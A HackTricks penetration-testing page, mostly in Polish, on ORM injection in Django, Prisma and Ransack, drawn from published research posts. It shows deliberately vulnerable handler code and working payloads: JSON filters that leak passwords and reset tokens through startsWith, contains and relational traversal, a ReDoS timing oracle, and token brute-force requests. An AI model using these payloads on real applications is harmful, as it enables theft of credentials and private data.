hacktricks/pentesting-web/orm-injection.md

337 lines
12 KiB
Markdown

# ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Django ORM (Python)
W [**tym poście**](https://www.elttam.com/blog/plormbing-your-django-orm/) wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Podstawowy widok API, do którego użytkownicy wysyłają żądania w celu
wyszukiwania artykułów
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Zauważ, jak wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do **filtrów obiektów z bazy danych**. Atakujący mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano.
Przykłady:
* **Logowanie:** W prostym logowaniu spróbuj wyciekować hasła użytkowników zarejestrowanych w systemie.
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
Możliwe jest przeprowadzenie ataku brute-force na hasło, aż zostanie ujawnione.
{% endhint %}
* **Filtracja relacyjna**: Możliwe jest przeszukiwanie relacji w celu ujawnienia informacji z kolumn, które nie były nawet oczekiwane w operacji. Na przykład, jeśli możliwe jest ujawnienie artykułów stworzonych przez użytkownika z tymi relacjami: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
Możliwe jest znalezienie hasła wszystkich użytkowników, którzy stworzyli artykuł
{% endhint %}
* **Filtrowanie relacji wiele-do-wielu**: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie stworzyli artykułu. Jednakże, podążając za innymi relacjami, jest to możliwe. Na przykład: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
W tym przypadku możemy znaleźć wszystkich użytkowników w działach użytkowników, którzy stworzyli artykuły, a następnie wyciekować ich hasła (w poprzednim jsonie wyciekamy tylko nazwy użytkowników, ale później możliwe jest wycieknięcie haseł).
{% endhint %}
* **Wykorzystywanie relacji wiele-do-wielu między grupami a uprawnieniami w Django**: Co więcej, model AbstractUser jest używany do generowania użytkowników w Django i domyślnie model ten ma pewne **relacje wiele-do-wielu z tabelami Permission i Group**. Co zasadniczo jest domyślnym sposobem **dostępu do innych użytkowników z jednego użytkownika**, jeśli są w **tej samej grupie lub dzielą te same uprawnienia**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **Obejście ograniczeń filtrów**: Ten sam post na blogu zaproponował obejście użycia niektórych filtrów, takich jak `articles = Article.objects.filter(is_secret=False, **request.data)`. Możliwe jest zrzucenie artykułów, które mają is\_secret=True, ponieważ możemy wrócić z relacji do tabeli Article i wyciekować sekretnych artykułów z niesekretnych artykułów, ponieważ wyniki są łączone, a pole is\_secret jest sprawdzane w niesekretnym artykule, podczas gdy dane są wyciekane z sekretnym artykułem.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
Wykorzystując relacje, możliwe jest ominięcie nawet filtrów mających na celu ochronę wyświetlanych danych.
{% endhint %}
* **Błąd/Czas oparty na ReDoS**: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako oracle. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu możliwe byłoby wywołanie błędu w bazie danych, aby uzyskać nowy oracle.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
* **SQLite**: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia firm trzecich)
* **PostgreSQL**: Nie ma domyślnego limitu czasu regex i jest mniej podatny na backtracking
* **MariaDB**: Nie ma limitu czasu regex
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Full find control**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
```markdown
Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci hasło:
```
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **Pełna kontrola nad klauzulą where**:
Przyjrzyjmy się temu, gdzie atak może kontrolować klauzulę `where`:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Wrażliwe na wycieki ORM
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Możliwe jest bezpośrednie filtrowanie haseł użytkowników, jak:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
Używając operacji takich jak `startsWith`, możliwe jest wycieknięcie informacji.&#x20;
{% endhint %}
* **Obchodzenie filtrowania w relacjach wiele-do-wielu:**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
Możliwe jest wycieknięcie nieopublikowanych artykułów poprzez powracanie do relacji wiele-do-wielu między `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
Możliwe jest również wycieknięcie wszystkich użytkowników, nadużywając niektórych relacji wiele-do-wielu z pętlą:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Błędy/Zapytania czasowe**: W oryginalnym poście można przeczytać bardzo obszerny zestaw testów przeprowadzonych w celu znalezienia optymalnego ładunku do wycieku informacji za pomocą ładunku opartego na czasie. To jest:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Gdzie `{CONTAINS_LIST}` to lista z 1000 ciągami, aby upewnić się, że **odpowiedź jest opóźniona, gdy zostanie znaleziony poprawny leak.**
## **Ransack (Ruby)**
Te sztuczki zostały [**znalezione w tym poście**](https://positive.security/blog/ransack-data-exfiltration)**.**
{% hint style="success" %}
**Zauważ, że Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych atrybutów i powiązań do przeszukiwania.**
{% endhint %}
**Przykład podatny:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Zauważ, jak zapytanie będzie definiowane przez parametry wysyłane przez atakującego. Możliwe było na przykład przeprowadzenie brute-force na tokenie resetującym za pomocą:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
By brute-forcing i potencjalnie relacjami możliwe było wycieknięcie większej ilości danych z bazy danych.
## References
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}